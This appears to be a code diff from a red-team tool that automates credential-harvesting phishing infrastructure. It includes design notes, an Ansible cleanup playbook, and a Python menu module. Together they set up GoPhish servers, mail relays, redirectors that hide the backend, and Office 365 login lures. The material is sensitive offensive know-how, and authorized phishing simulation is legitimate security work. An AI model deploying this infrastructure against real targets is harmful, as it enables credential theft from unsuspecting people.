|
||||||
|
C2 Backend | Command & control server (hidden)
|
||||||
|
|
||||||
|
Profile Name: Phishing Infra (Credential Harvesting Only)
|
||||||
|
|
||||||
|
Servers:
|
||||||
|
|
||||||
|
MTA Front (optional) | SMTP relay hides email backend (optional)
|
||||||
|
|
||||||
|
Gophish Email Server | Phishing campaign controller
|
||||||
|
|
||||||
|
Phishing Redirector (CDN or VPS) | Hides phishing web server
|
||||||
|
|
||||||
|
Phishing Web Server | Credential capture backend
|
||||||
|
|
||||||
|
Profile Name: Phishing Infra (Credential Harvesting Only, No CDN)
|
||||||
|
|
||||||
|
Servers:
|
||||||
|
|
||||||
|
MTA Front (optional) | SMTP relay hides email backend (optional)
|
||||||
|
|
||||||
|
Gophish Email Server | Phishing campaign controller
|
||||||
|
|
||||||
|
Phishing Redirector (VPS) | Nginx/socat hides phishing web server
|
||||||
|
|
||||||
|
Phishing Web Server | Credential capture backend
|
||||||
|
|
||||||
|
Profile Name: Whitelisted Phishing Infra (User Awareness Testing)
|
||||||
|
|
||||||
|
Servers:
|
||||||
|
|
||||||
|
Gophish Email Server | Sends phishing campaigns directly
|
||||||
|
|
||||||
|
Phishing Web Server | Fake login or failure landing page
|
||||||
|
|
||||||
|
this needs to also set up firewall rules or security groups to ensure least privilege. I need only the MTA fronting or redirectors accessible to anyone. The main phishing server should only allow the operator to connect and then the main phishing server should be able to access the MTA, Webserver and payload server etc. We need to ensure that things are fully secure. This should be added to the main menu under the phishing server option 9 with sub menus for the different deployment options. This needs to be deployable in any provider so make as much of it provider agnositic. use existing playbooks if it make sense like security hardening etc. I also want this to have the tracker setup as well on any deployment. Make sure to consider the way the tool is built. I want minimal stuff in the deploy.py. As much as possible should be handled with tasks templates and scripts
|
||||||
|
|
||||||
|
|
||||||
|
NOTES:
|
||||||
|
|
||||||
|
- I think I need to remove all the security group stuff to the security_hardening yaml
|
||||||
|
- I dont think I need a tracker on the webserver yaml
|
||||||
|
- setup_phishing_security.yml seems redundant and AWS only focused
|
||||||
|
-
|
||||||
|
-
|
||||||
@@ -0,0 +1,59 @@
|
|||||||
|
---
|
||||||
|
# Phishing Infrastructure Cleanup Playbook
|
||||||
|
- name: Clean up phishing infrastructure
|
||||||
|
hosts: localhost
|
||||||
|
gather_facts: false
|
||||||
|
connection: local
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
|
vars:
|
||||||
|
deployment_id: "{{ deployment_id | default('') }}"
|
||||||
|
confirm_cleanup: "{{ confirm_cleanup | default(true) }}"
|
||||||
|
|
||||||
|
tasks:
|
||||||
|
- name: Load deployment state
|
||||||
|
include_vars:
|
||||||
|
file: "phishing_deployment_state_{{ deployment_id }}.json"
|
||||||
|
register: deployment_state
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Show cleanup information
|
||||||
|
debug:
|
||||||
|
msg: |
|
||||||
|
************************************************
|
||||||
|
* PHISHING CLEANUP OPERATION *
|
||||||
|
************************************************
|
||||||
|
The following resources will be DELETED PERMANENTLY:
|
||||||
|
- MTA Front: {{ mta_front_name | default('mta-' + deployment_id) }}
|
||||||
|
- GoPhish Server: {{ gophish_server_name | default('gp-' + deployment_id) }}
|
||||||
|
- Phishing Web Server: {{ phishing_web_name | default('pw-' + deployment_id) }}
|
||||||
|
- Phishing Redirector: {{ phishing_redirector_name | default('phr-' + deployment_id) }}
|
||||||
|
{% if cleanup_payload_infra | default(false) %}
|
||||||
|
- Payload Server: {{ payload_server_name | default('ps-' + deployment_id) }}
|
||||||
|
- Payload Redirector: {{ payload_redirector_name | default('pr-' + deployment_id) }}
|
||||||
|
{% endif %}
|
||||||
|
when: confirm_cleanup | bool
|
||||||
|
|
||||||
|
- name: Confirm cleanup operation
|
||||||
|
pause:
|
||||||
|
prompt: "\n>>> Type 'yes' to confirm deletion or press Ctrl+C to abort <<<"
|
||||||
|
register: confirmation
|
||||||
|
when: confirm_cleanup | bool
|
||||||
|
|
||||||
|
- name: Skip cleanup if not confirmed
|
||||||
|
meta: end_play
|
||||||
|
when: confirm_cleanup | bool and confirmation.user_input != 'yes'
|
||||||
|
|
||||||
|
- name: Run provider-specific cleanup
|
||||||
|
include_tasks: "../{{ provider | upper }}/cleanup.yml"
|
||||||
|
vars:
|
||||||
|
cleanup_redirector: true
|
||||||
|
cleanup_c2: true
|
||||||
|
cleanup_tracker: false
|
||||||
|
redirector_name: "{{ phishing_redirector_name }}"
|
||||||
|
c2_name: "{{ gophish_server_name }}"
|
||||||
|
|
||||||
|
- name: Remove deployment state file
|
||||||
|
file:
|
||||||
|
path: "phishing_deployment_state_{{ deployment_id }}.json"
|
||||||
|
state: absent
|
||||||
@@ -0,0 +1,546 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Phishing infrastructure deployment module
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import logging
|
||||||
|
|
||||||
|
# Add the project root to the path so we can import utils
|
||||||
|
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
|
||||||
|
|
||||||
|
from utils.common import (
|
||||||
|
COLORS, clear_screen, print_banner, generate_deployment_id,
|
||||||
|
setup_logging, get_public_ip, confirm_action, wait_for_input,
|
||||||
|
archive_old_logs
|
||||||
|
)
|
||||||
|
from utils.provider_utils import select_provider, gather_provider_config
|
||||||
|
from utils.ssh_utils import generate_ssh_key
|
||||||
|
from utils.naming_utils import get_deployment_name_with_options
|
||||||
|
|
||||||
|
def gather_phishing_parameters():
|
||||||
|
"""Collect parameters specific to phishing deployments"""
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}PHISHING INFRASTRUCTURE SETUP{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}=============================={COLORS['RESET']}")
|
||||||
|
|
||||||
|
config = {}
|
||||||
|
|
||||||
|
# Generate deployment ID
|
||||||
|
config['deployment_id'] = generate_deployment_id()
|
||||||
|
print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Provider selection
|
||||||
|
provider = select_provider()
|
||||||
|
if not provider:
|
||||||
|
return None
|
||||||
|
config['provider'] = provider
|
||||||
|
|
||||||
|
# Get provider-specific configuration
|
||||||
|
provider_config = gather_provider_config(provider)
|
||||||
|
if not provider_config:
|
||||||
|
return None
|
||||||
|
config.update(provider_config)
|
||||||
|
|
||||||
|
# Phishing-specific configuration
|
||||||
|
print(f"\n{COLORS['BLUE']}Phishing Configuration{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Domain configuration
|
||||||
|
phishing_domain = input(f"Phishing domain (aged domain recommended) [required]: ")
|
||||||
|
if not phishing_domain:
|
||||||
|
print(f"{COLORS['RED']}A domain is required for phishing deployments{COLORS['RESET']}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
# Set all domain variables for compatibility
|
||||||
|
config['phishing_domain'] = phishing_domain
|
||||||
|
config['primary_domain'] = phishing_domain # For compatibility with existing playbooks
|
||||||
|
config['domain'] = phishing_domain # For compatibility
|
||||||
|
|
||||||
|
# Subdomain configuration
|
||||||
|
config['mta_hostname'] = input(f"MTA hostname [default: mail.{phishing_domain}]: ") or f"mail.{phishing_domain}"
|
||||||
|
config['phishing_hostname'] = input(f"Phishing hostname [default: portal.{phishing_domain}]: ") or f"portal.{phishing_domain}"
|
||||||
|
|
||||||
|
# Instance naming
|
||||||
|
print(f"\n{COLORS['BLUE']}Instance Naming{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# MTA Front naming
|
||||||
|
config['mta_name'] = get_deployment_name_with_options(
|
||||||
|
deployment_type='phishing',
|
||||||
|
component_type='MTA Front Server',
|
||||||
|
default_suffix='mta'
|
||||||
|
)
|
||||||
|
|
||||||
|
# GoPhish server naming
|
||||||
|
config['gophish_name'] = get_deployment_name_with_options(
|
||||||
|
deployment_type='phishing',
|
||||||
|
component_type='GoPhish Server',
|
||||||
|
default_suffix='gophish'
|
||||||
|
)
|
||||||
|
|
||||||
|
# Phishing redirector naming
|
||||||
|
config['phishing_redirector_name'] = get_deployment_name_with_options(
|
||||||
|
deployment_type='phishing',
|
||||||
|
component_type='Phishing Redirector',
|
||||||
|
default_suffix='redirector'
|
||||||
|
)
|
||||||
|
|
||||||
|
# Phishing webserver naming
|
||||||
|
config['phishing_webserver_name'] = get_deployment_name_with_options(
|
||||||
|
deployment_type='phishing',
|
||||||
|
component_type='Phishing Webserver',
|
||||||
|
default_suffix='webserver'
|
||||||
|
)
|
||||||
|
|
||||||
|
# MTA Authentication
|
||||||
|
config['smtp_auth_user'] = input("SMTP auth username [default: admin]: ") or "admin"
|
||||||
|
config['smtp_auth_pass'] = input("SMTP auth password [default: random]: ") or None
|
||||||
|
|
||||||
|
# GoPhish configuration
|
||||||
|
config['gophish_admin_port'] = input("GoPhish admin port [default: 8090]: ") or "8090"
|
||||||
|
|
||||||
|
# Campaign configuration
|
||||||
|
config['campaign_name'] = input("Campaign name [default: test-campaign]: ") or "test-campaign"
|
||||||
|
config['sender_name'] = input("Sender display name [default: IT Support]: ") or "IT Support"
|
||||||
|
config['sender_email'] = f"noreply@{config['phishing_domain']}"
|
||||||
|
|
||||||
|
# Template selection
|
||||||
|
print(f"\n{COLORS['BLUE']}Email Template Selection:{COLORS['RESET']}")
|
||||||
|
print(f"1) Office 365 Login")
|
||||||
|
print(f"2) Password Expiration")
|
||||||
|
print(f"3) Security Alert")
|
||||||
|
print(f"4) File Share Notification")
|
||||||
|
print(f"5) Custom Template")
|
||||||
|
|
||||||
|
template_choice = input("Select template [default: 1]: ") or "1"
|
||||||
|
templates = {
|
||||||
|
"1": "office365_login",
|
||||||
|
"2": "password_expiry",
|
||||||
|
"3": "security_alert",
|
||||||
|
"4": "file_share",
|
||||||
|
"5": "custom"
|
||||||
|
}
|
||||||
|
config['email_template'] = templates.get(template_choice, "office365_login")
|
||||||
|
|
||||||
|
# If custom template, get details
|
||||||
|
if config['email_template'] == 'custom':
|
||||||
|
config['custom_template_name'] = input("Custom template name: ")
|
||||||
|
config['custom_subject'] = input("Email subject line: ")
|
||||||
|
config['custom_sender'] = input("Sender email/name: ")
|
||||||
|
|
||||||
|
# Security settings
|
||||||
|
print(f"\n{COLORS['BLUE']}Security Settings:{COLORS['RESET']}")
|
||||||
|
config['enable_credential_harvesting'] = confirm_action("Enable credential harvesting?", default=True)
|
||||||
|
config['enable_attachment_tracking'] = confirm_action("Enable attachment tracking?", default=True)
|
||||||
|
config['enable_link_tracking'] = confirm_action("Enable link click tracking?", default=True)
|
||||||
|
|
||||||
|
# Email for Let's Encrypt
|
||||||
|
default_email = f"admin@{config['phishing_domain']}"
|
||||||
|
config['letsencrypt_email'] = input(f"Email for Let's Encrypt [default: {default_email}]: ") or default_email
|
||||||
|
|
||||||
|
# Get operator IP for security
|
||||||
|
suggested_ip = get_public_ip()
|
||||||
|
if suggested_ip:
|
||||||
|
operator_ip = input(f"Your public IP for admin access [detected: {suggested_ip}]: ") or suggested_ip
|
||||||
|
else:
|
||||||
|
operator_ip = input("Your public IP for admin access: ")
|
||||||
|
config['operator_ip'] = operator_ip
|
||||||
|
|
||||||
|
# SSH key generation
|
||||||
|
ssh_key_path = generate_ssh_key(config['deployment_id'])
|
||||||
|
if not ssh_key_path:
|
||||||
|
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
|
||||||
|
return None
|
||||||
|
config['ssh_key_path'] = f"{ssh_key_path}.pub"
|
||||||
|
|
||||||
|
# Post-deployment options
|
||||||
|
config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
|
||||||
|
config['open_admin_panel'] = confirm_action("Open GoPhish admin panel after deployment?", default=True)
|
||||||
|
|
||||||
|
return config
|
||||||
|
|
||||||
|
def phishing_menu():
|
||||||
|
"""Display the phishing submenu and handle user selection"""
|
||||||
|
while True:
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}PHISHING INFRASTRUCTURE MENU{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}============================{COLORS['RESET']}")
|
||||||
|
print(f"1) Basic Phishing Setup {COLORS['GREEN']}*RECOMMENDED*{COLORS['RESET']} {COLORS['GRAY']}(MTA + GoPhish){COLORS['RESET']}")
|
||||||
|
print(f"2) GoPhish Server Only {COLORS['GRAY']}(Campaign management only){COLORS['RESET']}")
|
||||||
|
print(f"3) Phishing Web Server Only {COLORS['GRAY']}(Landing pages only){COLORS['RESET']}")
|
||||||
|
print(f"4) MTA Front Server Only {COLORS['GRAY']}(Email sending only){COLORS['RESET']}")
|
||||||
|
print(f"5) Advanced Phishing Setup {COLORS['GRAY']}(MTA + GoPhish + Redirector){COLORS['RESET']}")
|
||||||
|
print(f"6) Phishing Redirector Only {COLORS['GRAY']}(Traffic redirection only){COLORS['RESET']}")
|
||||||
|
print(f"7) Ephemeral MTA Setup {COLORS['GRAY']}(Temporary email infrastructure){COLORS['RESET']}")
|
||||||
|
print(f"8) Full Phishing Infrastructure {COLORS['GRAY']}(Complete multi-tier setup){COLORS['RESET']}")
|
||||||
|
print(f"9) FedRAMP Compliant Phishing {COLORS['GRAY']}(Compliance-focused setup){COLORS['RESET']}")
|
||||||
|
print(f"99) Return to Main Menu")
|
||||||
|
|
||||||
|
choice = input(f"\nSelect an option: ")
|
||||||
|
|
||||||
|
if choice == "1":
|
||||||
|
deploy_basic_phishing()
|
||||||
|
elif choice == "2":
|
||||||
|
deploy_gophish_only()
|
||||||
|
elif choice == "3":
|
||||||
|
deploy_phishing_webserver_only()
|
||||||
|
elif choice == "4":
|
||||||
|
deploy_mta_front_only()
|
||||||
|
elif choice == "5":
|
||||||
|
deploy_advanced_phishing()
|
||||||
|
elif choice == "6":
|
||||||
|
deploy_phishing_redirector_only()
|
||||||
|
elif choice == "7":
|
||||||
|
deploy_ephemeral_mta()
|
||||||
|
elif choice == "8":
|
||||||
|
deploy_full_phishing()
|
||||||
|
elif choice == "9":
|
||||||
|
deploy_fedramp_phishing()
|
||||||
|
elif choice == "99":
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def deploy_gophish_only():
|
||||||
|
"""Deploy GoPhish server only"""
|
||||||
|
config = gather_phishing_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['deployment_type'] = 'gophish_only'
|
||||||
|
config['deploy_gophish'] = True
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying GoPhish server only...{COLORS['RESET']}")
|
||||||
|
execute_phishing_deployment(config)
|
||||||
|
|
||||||
|
def deploy_mta_front_only():
|
||||||
|
"""Deploy MTA front server only"""
|
||||||
|
config = gather_phishing_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['deployment_type'] = 'mta_front_only'
|
||||||
|
config['deploy_mta_front'] = True
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying MTA front server only...{COLORS['RESET']}")
|
||||||
|
execute_phishing_deployment(config)
|
||||||
|
|
||||||
|
def deploy_phishing_webserver_only():
|
||||||
|
"""Deploy phishing web server only"""
|
||||||
|
config = gather_phishing_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['deployment_type'] = 'phishing_webserver_only'
|
||||||
|
config['deploy_phishing_webserver'] = True
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying phishing web server only...{COLORS['RESET']}")
|
||||||
|
execute_phishing_deployment(config)
|
||||||
|
|
||||||
|
def deploy_phishing_redirector_only():
|
||||||
|
"""Deploy phishing redirector only"""
|
||||||
|
config = gather_phishing_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['deployment_type'] = 'phishing_redirector_only'
|
||||||
|
config['deploy_phishing_redirector'] = True
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying phishing redirector only...{COLORS['RESET']}")
|
||||||
|
execute_phishing_deployment(config)
|
||||||
|
|
||||||
|
def deploy_basic_phishing():
|
||||||
|
"""Deploy basic phishing setup (MTA + GoPhish)"""
|
||||||
|
config = gather_phishing_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['deployment_type'] = 'basic_phishing'
|
||||||
|
config['deploy_mta_front'] = True
|
||||||
|
config['deploy_gophish'] = True
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying basic phishing infrastructure...{COLORS['RESET']}")
|
||||||
|
execute_phishing_deployment(config)
|
||||||
|
|
||||||
|
def deploy_advanced_phishing():
|
||||||
|
"""Deploy advanced phishing setup (MTA + GoPhish + Redirector)"""
|
||||||
|
config = gather_phishing_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['deployment_type'] = 'advanced_phishing'
|
||||||
|
config['deploy_mta_front'] = True
|
||||||
|
config['deploy_gophish'] = True
|
||||||
|
config['deploy_phishing_redirector'] = True
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying advanced phishing infrastructure...{COLORS['RESET']}")
|
||||||
|
execute_phishing_deployment(config)
|
||||||
|
|
||||||
|
def deploy_full_phishing():
|
||||||
|
"""Deploy full phishing infrastructure"""
|
||||||
|
config = gather_phishing_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
config['deployment_type'] = 'full_phishing'
|
||||||
|
config['deploy_mta_front'] = True
|
||||||
|
config['deploy_gophish'] = True
|
||||||
|
config['deploy_phishing_redirector'] = True
|
||||||
|
config['deploy_phishing_webserver'] = True
|
||||||
|
config['deploy_tracker'] = True
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying full phishing infrastructure...{COLORS['RESET']}")
|
||||||
|
execute_phishing_deployment(config)
|
||||||
|
|
||||||
|
def deploy_fedramp_phishing():
|
||||||
|
"""Deploy FedRAMP compliant phishing infrastructure"""
|
||||||
|
config = gather_phishing_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
# FedRAMP specific configuration
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}FEDRAMP COMPLIANCE CONFIGURATION{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}==================================={COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Compliance requirements
|
||||||
|
print(f"\n{COLORS['BLUE']}FedRAMP Compliance Requirements:{COLORS['RESET']}")
|
||||||
|
print(f"• Immediate disclosure of phishing attempts")
|
||||||
|
print(f"• Comprehensive audit logging")
|
||||||
|
print(f"• Compliance notification requirements")
|
||||||
|
print(f"• Mandatory log retention")
|
||||||
|
|
||||||
|
# Immediate disclosure (required for FedRAMP)
|
||||||
|
config['immediate_disclosure'] = True
|
||||||
|
print(f"\n{COLORS['YELLOW']}Immediate disclosure is REQUIRED for FedRAMP compliance{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Authorization reference for documentation
|
||||||
|
auth_reference = input(f"Authorization reference/ticket number [optional]: ") or "Pre-authorized FedRAMP exercise"
|
||||||
|
config['authorization_reference'] = auth_reference
|
||||||
|
|
||||||
|
# Log retention period
|
||||||
|
retention_days = input(f"Log retention period in days [default: 90]: ") or "90"
|
||||||
|
try:
|
||||||
|
config['log_retention_days'] = int(retention_days)
|
||||||
|
except ValueError:
|
||||||
|
config['log_retention_days'] = 90
|
||||||
|
|
||||||
|
# Audit logging level
|
||||||
|
print(f"\n{COLORS['BLUE']}Audit Logging Level:{COLORS['RESET']}")
|
||||||
|
print(f"1) Basic (Login attempts, email sends)")
|
||||||
|
print(f"2) Detailed (+ IP addresses, user agents)")
|
||||||
|
print(f"3) Comprehensive (+ full request logs)")
|
||||||
|
|
||||||
|
log_level = input(f"Select logging level [default: 3]: ") or "3"
|
||||||
|
log_levels = {"1": "basic", "2": "detailed", "3": "comprehensive"}
|
||||||
|
config['audit_log_level'] = log_levels.get(log_level, "comprehensive")
|
||||||
|
|
||||||
|
# Compliance mode settings
|
||||||
|
config['fedramp_mode'] = True
|
||||||
|
config['compliance_mode'] = True
|
||||||
|
config['deployment_type'] = 'fedramp_phishing'
|
||||||
|
config['deploy_gophish'] = True
|
||||||
|
config['deploy_phishing_webserver'] = True
|
||||||
|
config['deploy_tracker'] = True
|
||||||
|
config['enable_audit_logging'] = True
|
||||||
|
|
||||||
|
# Debug options
|
||||||
|
config['debug_mode'] = confirm_action("Enable debug mode (extra verbose Ansible output)?", default=True)
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying FedRAMP compliant phishing infrastructure...{COLORS['RESET']}")
|
||||||
|
execute_phishing_deployment(config)
|
||||||
|
|
||||||
|
def deploy_ephemeral_mta():
|
||||||
|
"""Deploy ephemeral MTA for high OPSEC phishing"""
|
||||||
|
config = gather_phishing_parameters()
|
||||||
|
if not config:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Additional ephemeral MTA configuration
|
||||||
|
print(f"\n{COLORS['BLUE']}Ephemeral MTA Configuration{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['YELLOW']}Note: Ephemeral MTAs are designed for short-term use{COLORS['RESET']}")
|
||||||
|
|
||||||
|
config['deployment_type'] = 'ephemeral_mta'
|
||||||
|
config['ephemeral_mta'] = True
|
||||||
|
config['deploy_mta_front'] = True
|
||||||
|
|
||||||
|
# Auto-destruct timer
|
||||||
|
auto_destruct = confirm_action("Enable auto-destruct timer?", default=False)
|
||||||
|
if auto_destruct:
|
||||||
|
hours = input("Auto-destruct after how many hours [default: 24]: ") or "24"
|
||||||
|
config['auto_destruct_hours'] = int(hours)
|
||||||
|
|
||||||
|
print(f"\n{COLORS['GREEN']}Deploying ephemeral MTA...{COLORS['RESET']}")
|
||||||
|
execute_phishing_deployment(config)
|
||||||
|
|
||||||
|
def execute_phishing_deployment(config):
|
||||||
|
"""Execute phishing infrastructure deployment"""
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"\n{COLORS['GREEN']}Starting phishing deployment...{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Archive old logs before starting new deployment
|
||||||
|
print(f"Archiving old logs...")
|
||||||
|
archive_old_logs(max_logs_to_keep=5) # Keep last 5 deployments
|
||||||
|
|
||||||
|
# Set up logging
|
||||||
|
log_file = setup_logging(config['deployment_id'], "phishing_deployment")
|
||||||
|
|
||||||
|
# Display configuration summary
|
||||||
|
print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}")
|
||||||
|
print(f"Deployment Type: {config['deployment_type']}")
|
||||||
|
print(f"Deployment ID: {config['deployment_id']}")
|
||||||
|
print(f"Provider: {config['provider']}")
|
||||||
|
print(f"Domain: {config['phishing_domain']}")
|
||||||
|
print(f"Email Template: {config.get('email_template', 'N/A')}")
|
||||||
|
print(f"MTA Hostname: {config.get('mta_hostname', 'N/A')}")
|
||||||
|
if config.get('fedramp_mode'):
|
||||||
|
print(f"FedRAMP Mode: {COLORS['YELLOW']}ENABLED{COLORS['RESET']}")
|
||||||
|
print(f"Authorization Reference: {config.get('authorization_reference', 'N/A')}")
|
||||||
|
print(f"Audit Level: {config.get('audit_log_level', 'N/A')}")
|
||||||
|
|
||||||
|
# Confirm deployment
|
||||||
|
if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with phishing deployment?{COLORS['RESET']}", default=False):
|
||||||
|
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Mark this as a phishing deployment for the deployment engine
|
||||||
|
config['phishing_deployment'] = True
|
||||||
|
|
||||||
|
# Execute the actual deployment using component-based approach
|
||||||
|
success = execute_component_deployment(config)
|
||||||
|
|
||||||
|
if success:
|
||||||
|
print(f"\n{COLORS['GREEN']}✅ Phishing infrastructure deployed successfully!{COLORS['RESET']}")
|
||||||
|
|
||||||
|
if config.get('ssh_after_deploy'):
|
||||||
|
from utils.ssh_utils import ssh_to_instance
|
||||||
|
ssh_to_instance(config)
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}❌ Phishing infrastructure deployment failed.{COLORS['RESET']}")
|
||||||
|
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def execute_component_deployment(config):
|
||||||
|
"""Execute component-based phishing deployment"""
|
||||||
|
import subprocess
|
||||||
|
import os
|
||||||
|
|
||||||
|
print(f"\n{COLORS['BLUE']}Executing phishing deployment: {config['deployment_type']}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Provider directory mapping
|
||||||
|
provider_dirs = {
|
||||||
|
"aws": "AWS",
|
||||||
|
"linode": "Linode",
|
||||||
|
"flokinet": "FlokiNET"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Component playbook mapping
|
||||||
|
component_playbooks = {
|
||||||
|
'deploy_mta_front': os.path.join(os.path.dirname(__file__), 'mta_front.yml'),
|
||||||
|
'deploy_gophish': os.path.join(os.path.dirname(__file__), '..', '..', 'providers', provider_dirs[config['provider']], 'c2.yml'),
|
||||||
|
'deploy_phishing_redirector': os.path.join(os.path.dirname(__file__), '..', '..', 'providers', provider_dirs[config['provider']], 'redirector.yml'),
|
||||||
|
'deploy_phishing_webserver': os.path.join(os.path.dirname(__file__), 'phishing_webserver.yml'),
|
||||||
|
}
|
||||||
|
|
||||||
|
# Build extra vars for ansible as JSON (safe for special chars)
|
||||||
|
import json as _json
|
||||||
|
import tempfile as _tempfile
|
||||||
|
extra_vars_dict = {}
|
||||||
|
for key, value in config.items():
|
||||||
|
if isinstance(value, (str, int, bool)):
|
||||||
|
extra_vars_dict[key] = value
|
||||||
|
|
||||||
|
deployed_components = []
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Deploy each enabled component
|
||||||
|
for component, playbook_path in component_playbooks.items():
|
||||||
|
if config.get(component, False):
|
||||||
|
print(f"\n{COLORS['YELLOW']}Deploying {component.replace('deploy_', '')}...{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Check if playbook exists
|
||||||
|
if not os.path.exists(playbook_path):
|
||||||
|
print(f"{COLORS['RED']}Error: Playbook not found: {playbook_path}{COLORS['RESET']}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Write vars to temp file (avoids CLI exposure)
|
||||||
|
_vars_file = _tempfile.NamedTemporaryFile(
|
||||||
|
mode='w', suffix='.json', prefix='phish_vars_',
|
||||||
|
delete=False
|
||||||
|
)
|
||||||
|
_json.dump(extra_vars_dict, _vars_file)
|
||||||
|
_vars_file.close()
|
||||||
|
os.chmod(_vars_file.name, 0o600)
|
||||||
|
|
||||||
|
# Build ansible command
|
||||||
|
cmd = [
|
||||||
|
'ansible-playbook',
|
||||||
|
playbook_path,
|
||||||
|
'--extra-vars',
|
||||||
|
f'@{_vars_file.name}'
|
||||||
|
]
|
||||||
|
|
||||||
|
print(f"{COLORS['GRAY']}Running: ansible-playbook {os.path.basename(playbook_path)}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Execute playbook
|
||||||
|
result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__))
|
||||||
|
|
||||||
|
# Clean up temp vars file
|
||||||
|
try:
|
||||||
|
os.unlink(_vars_file.name)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if result.returncode == 0:
|
||||||
|
print(f"{COLORS['GREEN']}✅ {component.replace('deploy_', '')} deployed successfully{COLORS['RESET']}")
|
||||||
|
deployed_components.append(component)
|
||||||
|
else:
|
||||||
|
print(f"{COLORS['RED']}❌ {component.replace('deploy_', '')} deployment failed{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['RED']}STDERR: {result.stderr}{COLORS['RESET']}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Deploy the orchestration playbook to save state
|
||||||
|
print(f"\n{COLORS['YELLOW']}Saving deployment state...{COLORS['RESET']}")
|
||||||
|
orchestration_playbook = os.path.join(os.path.dirname(__file__), 'deploy_phishing_infrastructure.yml')
|
||||||
|
|
||||||
|
_orch_vars_file = _tempfile.NamedTemporaryFile(
|
||||||
|
mode='w', suffix='.json', prefix='phish_orch_',
|
||||||
|
delete=False
|
||||||
|
)
|
||||||
|
_json.dump(extra_vars_dict, _orch_vars_file)
|
||||||
|
_orch_vars_file.close()
|
||||||
|
os.chmod(_orch_vars_file.name, 0o600)
|
||||||
|
|
||||||
|
cmd = [
|
||||||
|
'ansible-playbook',
|
||||||
|
orchestration_playbook,
|
||||||
|
'--extra-vars',
|
||||||
|
f'@{_orch_vars_file.name}'
|
||||||
|
]
|
||||||
|
|
||||||
|
result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__))
|
||||||
|
|
||||||
|
try:
|
||||||
|
os.unlink(_orch_vars_file.name)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if result.returncode == 0:
|
||||||
|
print(f"{COLORS['GREEN']}✅ Deployment state saved{COLORS['RESET']}")
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
print(f"{COLORS['RED']}❌ Failed to save deployment state{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['RED']}STDERR: {result.stderr}{COLORS['RESET']}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"{COLORS['RED']}Deployment error: {str(e)}{COLORS['RESET']}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
